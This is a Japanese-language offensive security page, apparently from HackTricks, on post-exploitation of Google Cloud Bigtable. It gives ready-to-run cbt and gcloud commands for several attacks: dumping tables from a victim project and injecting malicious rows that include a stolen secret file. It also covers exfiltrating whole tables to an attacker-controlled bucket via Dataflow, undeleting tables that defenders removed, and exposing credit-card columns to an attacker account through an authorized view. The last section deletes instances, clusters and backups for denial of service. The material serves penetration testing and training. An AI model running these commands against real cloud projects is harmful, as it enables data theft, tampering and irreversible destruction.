# GCP - Bigtable Post Exploitation

{{#include ../../../banners/hacktricks-training.md}}

## Bigtable

Bigtable の詳細については次を確認してください:

{{#ref}}
../gcp-services/gcp-bigtable-enum.md
{{#endref}}

> [!TIP]
> `cbt` CLI を Cloud SDK を通じて一度インストールしておくと、以下のコマンドがローカルで動作します:
>
> <details>
>
> <summary>cbt CLI をインストール</summary>
>
> ```bash
> gcloud components install cbt
> ```
>
> </details>

### 行を読み取る

**Permissions:** `bigtable.tables.readRows`

`cbt` は Cloud SDK と一緒に提供され、ミドルウェアを必要とせずに admin/data APIs とやり取りします。compromised project/instance を指定してテーブルから直接行をダンプできます。覗き見程度で十分ならスキャンを制限してください。

<details>

<summary>Bigtable のエントリを読み取る</summary>
```bash
# Install cbt
gcloud components update
gcloud components install cbt

# Read entries with creds of gcloud
cbt -project=<victim-proj> -instance=<instance-id> read <table-id>
```
</details>

### 行の書き込み

**権限:** `bigtable.tables.mutateRows`, (変更を確認するには `bigtable.tables.readRows` が必要です)。

同じツールを使って任意のセルを upsert できます。これは設定を backdoor したり、web shells を配置したり、poisoned dataset rows を仕込んだりする最も手早い方法です。

<details>

<summary>Inject malicious row</summary>
```bash
# Inject a new row
cbt -project=<victim-proj> -instance=<instance-id> set <table> <row-key> <family>:<column>=<value>

cbt -project=<victim-proj> -instance=<instance-id> set <table-id> user#1337 profile:name="Mallory" profile:role="admin" secrets:api_key=@/tmp/stealme.bin

# Verify the injected row
cbt -project=<victim-proj> -instance=<instance-id> read <table-id> rows=user#1337
```
</details>

`cbt set` は `@/path` 構文で raw bytes を受け取り、compiled payloads や serialized protobufs を下流サービスが期待する形で正確にプッシュできます。

### 行を自分のバケットにダンプする

**権限:** `dataflow.jobs.create`, `resourcemanager.projects.get`, `iam.serviceAccounts.actAs`

Dataflow ジョブを起動して行を自分が管理する GCS バケットへストリームすることで、テーブル全体の内容を攻撃者が制御するバケットへ exfiltrate できます。

> [!NOTE]
> エクスポートを実行するのに十分な権限を持つ SA に対して `iam.serviceAccounts.actAs` の権限が必要であることに注意してください（デフォルトでは、特に指定がない限り、デフォルトの compute SA が使用されます）。

<details>

<summary>Bigtable を GCS バケットへエクスポート</summary>
```bash
gcloud dataflow jobs run <job-name> \
--gcs-location=gs://dataflow-templates-us-<REGION>/<VERSION>/Cloud_Bigtable_to_GCS_Json \
--project=<PROJECT> \
--region=<REGION> \
--parameters=<PROJECT>,bigtableInstanceId=<INSTANCE_ID>,bigtableTableId=<TABLE_ID>,filenamePrefix=<PREFIX>,outputDirectory=gs://<BUCKET>/raw-json/ \
--staging-location=gs://<BUCKET>/staging/

# Example
gcloud dataflow jobs run dump-bigtable3 \
--gcs-location=gs://dataflow-templates-us-central1/latest/Cloud_Bigtable_to_GCS_Json \
--project=gcp-labs-3uis1xlx \
--region=us-central1 \
--parameters=bigtableProjectId=gcp-labs-3uis1xlx,bigtableInstanceId=avesc-20251118172913,bigtableTableId=prod-orders,filenamePrefix=prefx,outputDirectory=gs://deleteme20u9843rhfioue/raw-json/ \
--staging-location=gs://deleteme20u9843rhfioue/staging/
```
</details>

> [!NOTE]
> Switch the template to `Cloud_Bigtable_to_GCS_Parquet` or `Cloud_Bigtable_to_GCS_SequenceFile` if you want Parquet/SequenceFile outputs instead of JSON. The permissions are the same; only the template path changes.

### 行のインポート

**必要な権限:** `dataflow.jobs.create`, `resourcemanager.projects.get`, `iam.serviceAccounts.actAs`

攻撃者がコントロールするバケットからテーブル全体の内容をインポートするには、行を自分が管理する GCS バケットにストリームする Dataflow ジョブを起動します。そのためには、まずインポートするデータを期待されるスキーマで含む parquet ファイルを作成する必要があります。攻撃者は前述の手法で `Cloud_Bigtable_to_GCS_Parquet` 設定を使ってデータを parquet 形式でエクスポートし、ダウンロードした parquet ファイルに新しいエントリを追加する、という手順を踏むことができます。



> [!NOTE]
> Note that you will need the permission `iam.serviceAccounts.actAs` over a some SA with enough permissions to perform the export (by default, if not aindicated otherwise, the default compute SA will be used).

<details>

<summary>GCSバケットからBigtableへのインポート</summary>
```bash
gcloud dataflow jobs run import-bt-$(date +%s) \
--region=<REGION> \
--gcs-location=gs://dataflow-templates-<REGION>/<VERSION>>/GCS_Parquet_to_Cloud_Bigtable \
--project=<PROJECT> \
--parameters=bigtableProjectId=<PROJECT>,bigtableInstanceId=<INSTANCE-ID>,bigtableTableId=<TABLE-ID>,inputFilePattern=gs://<BUCKET>/import/bigtable_import.parquet \
--staging-location=gs://<BUCKET>/staging/

# Example
gcloud dataflow jobs run import-bt-$(date +%s) \
--region=us-central1 \
--gcs-location=gs://dataflow-templates-us-central1/latest/GCS_Parquet_to_Cloud_Bigtable \
--project=gcp-labs-3uis1xlx \
--parameters=bigtableProjectId=gcp-labs-3uis1xlx,bigtableInstanceId=avesc-20251118172913,bigtableTableId=prod-orders,inputFilePattern=gs://deleteme20u9843rhfioue/import/parquet_prefx-00000-of-00001.parquet \
--staging-location=gs://deleteme20u9843rhfioue/staging/
```
</details>

### バックアップの復元

**権限:** `bigtable.backups.restore`, `bigtable.tables.create`.

これらの権限を持つ攻撃者は、古い機密データを回収できるように、自分の管理下にある新しいテーブルにバックアップを復元できます。

<details>

<summary>Bigtable のバックアップを復元</summary>
```bash
gcloud bigtable backups list --instance=<INSTANCE_ID_SOURCE> \
--cluster=<CLUSTER_ID_SOURCE>

gcloud bigtable instances tables restore \
--source=projects/<PROJECT_ID_SOURCE>/instances/<INSTANCE_ID_SOURCE>/clusters/<CLUSTER_ID>/backups/<BACKUP_ID> \
--async \
--destination=<TABLE_ID_NEW> \
--destination-instance=<INSTANCE_ID_DESTINATION> \
--project=<PROJECT_ID_DESTINATION>
```
</details>

### Undelete テーブル

**Permissions:** `bigtable.tables.undelete`

Bigtable は猶予期間（通常はデフォルトで7日）付きのソフト削除をサポートしています。この期間中、`bigtable.tables.undelete` 権限を持つ攻撃者は最近削除されたテーブルを復元して全データを回収でき、破棄されたと思われていた機密情報にアクセスする可能性があります。

これは特に以下の場合に有用です:
- インシデント対応中に defenders によって削除されたテーブルからデータを復元すること
- 意図的に抹消された履歴データにアクセスすること
- 誤削除や悪意ある削除を元に戻して永続性を維持すること

<details>

<summary>Undelete Bigtable table</summary>
```bash
# List recently deleted tables (requires bigtable.tables.list)
gcloud bigtable instances tables list --instance=<instance-id> \
--show-deleted

# Undelete a table within the retention period
gcloud bigtable instances tables undelete <table-id> \
--instance=<instance-id>
```
</details>

> [!NOTE]
> undelete 操作は構成された保持期間内（デフォルト 7 日間）でのみ機能します。この期間が過ぎると、テーブルとそのデータは完全に削除され、この方法では回復できなくなります。


### Authorized Views を作成する

**権限:** `bigtable.authorizedViews.create`, `bigtable.tables.readRows`, `bigtable.tables.mutateRows`

Authorized views により、テーブルのキュレーションされたサブセットを提示できます。最小権限の原則を厳密に守るのではなく、関心のある **正確な機密カラム/行のセット** を公開し、自分のプリンシパルをホワイトリストに登録するために使用します。

> [!WARNING]
> 注意点として、authorized view を作成するにはベーステーブルの行を読み取りおよび変更できる必要があるため、追加の権限は得られません。したがってこの手法はほとんど役に立ちません。

<details>

<summary>authorized view を作成</summary>
```bash
cat <<'EOF' > /tmp/credit-cards.json
{
"subsetView": {
"rowPrefixes": ["acct#"],
"familySubsets": {
"pii": {
"qualifiers": ["cc_number", "cc_cvv"]
}
}
}
}
EOF

gcloud bigtable authorized-views create card-dump \
--instance=<instance-id> --table=<table-id> \
--definition-file=/tmp/credit-cards.json

gcloud bigtable authorized-views add-iam-policy-binding card-dump \
--instance=<instance-id> --table=<table-id> \
--member='user:<attacker@example.com>' --role='roles/bigtable.reader'
```
</details>

アクセスはビュー単位でスコープされるため、防御側はあなたが新たに高感度のエンドポイントを作成したことを見落としがちです。

### Authorized View の読み取り

**権限:** `bigtable.authorizedViews.readRows`

Authorized View へのアクセス権があれば、読み取りリクエストで Authorized View 名を指定することで、Bigtable のクライアントライブラリを使ってそのデータを読み取ることができます。Authorized View はテーブルからアクセスできる内容を制限する可能性がある点に注意してください。以下は Python を使った例です：

<details>

<summary>Read from authorized view (Python)</summary>
```python
from google.cloud import bigtable
from google.cloud.bigtable_v2 import BigtableClient as DataClient
from google.cloud.bigtable_v2 import ReadRowsRequest

# Set your project, instance, table, view id
PROJECT_ID = "gcp-labs-3uis1xlx"
INSTANCE_ID = "avesc-20251118172913"
TABLE_ID = "prod-orders"
AUTHORIZED_VIEW_ID = "auth_view"

client = bigtable.Client(project=PROJECT_ID, admin=True)
instance = client.instance(INSTANCE_ID)
table = instance.table(TABLE_ID)

data_client = DataClient()
authorized_view_name = f"projects/{PROJECT_ID}/instances/{INSTANCE_ID}/tables/{TABLE_ID}/authorizedViews/{AUTHORIZED_VIEW_ID}"

request = ReadRowsRequest(
authorized_view_name=authorized_view_name
)

rows = data_client.read_rows(request=request)
for response in rows:
for chunk in response.chunks:
if chunk.row_key:
row_key = chunk.row_key.decode('utf-8') if isinstance(chunk.row_key, bytes) else chunk.row_key
print(f"Row: {row_key}")
if chunk.family_name:
family = chunk.family_name.value if hasattr(chunk.family_name, 'value') else chunk.family_name
qualifier = chunk.qualifier.value.decode('utf-8') if hasattr(chunk.qualifier, 'value') else chunk.qualifier.decode('utf-8')
value = chunk.value.decode('utf-8') if isinstance(chunk.value, bytes) else str(chunk.value)
print(f"  {family}:{qualifier} = {value}")
```
</details>

### Denial of Service via Delete Operations

**Permissions:** `bigtable.appProfiles.delete`, `bigtable.authorizedViews.delete`, `bigtable.authorizedViews.deleteTagBinding`, `bigtable.backups.delete`, `bigtable.clusters.delete`, `bigtable.instances.delete`, `bigtable.tables.delete`

Bigtable の削除権限はいずれも Denial of Service 攻撃に悪用され得る。これらの権限を持つ攻撃者は、重要な Bigtable リソースを削除して運用を妨害できる:

- **`bigtable.appProfiles.delete`**: アプリケーションプロファイルを削除し、クライアント接続やルーティング構成を破壊する
- **`bigtable.authorizedViews.delete`**: authorized views を削除し、アプリケーションの正当なアクセス経路を遮断する
- **`bigtable.authorizedViews.deleteTagBinding`**: authorized views から tag bindings を削除する
- **`bigtable.backups.delete`**: バックアップスナップショットを破壊し、ディザスタリカバリの選択肢を失わせる
- **`bigtable.clusters.delete`**: クラスタ全体を削除し、即時のデータ利用不可を引き起こす
- **`bigtable.instances.delete`**: 完全な Bigtable インスタンスを削除し、すべてのテーブルと設定を消去する
- **`bigtable.tables.delete`**: 個々のテーブルを削除し、データ損失やアプリケーション障害を引き起こす

<details>

<summary>Delete Bigtable resources</summary>
```bash
# Delete a table
gcloud bigtable instances tables delete <table-id> \
--instance=<instance-id>

# Delete an authorized view
gcloud bigtable authorized-views delete <view-id> \
--instance=<instance-id> --table=<table-id>

# Delete a backup
gcloud bigtable backups delete <backup-id> \
--instance=<instance-id> --cluster=<cluster-id>

# Delete an app profile
gcloud bigtable app-profiles delete <profile-id> \
--instance=<instance-id>

# Delete a cluster
gcloud bigtable clusters delete <cluster-id> \
--instance=<instance-id>

# Delete an entire instance
gcloud bigtable instances delete <instance-id>
```
</details>

> [!WARNING]
> 削除操作は多くの場合、即時かつ不可逆的です。これらのコマンドをテストする前にバックアップが存在することを確認してください。永久的なデータ損失や重大なサービスの中断を引き起こす可能性があります。

{{#include ../../../banners/hacktricks-training.md}}
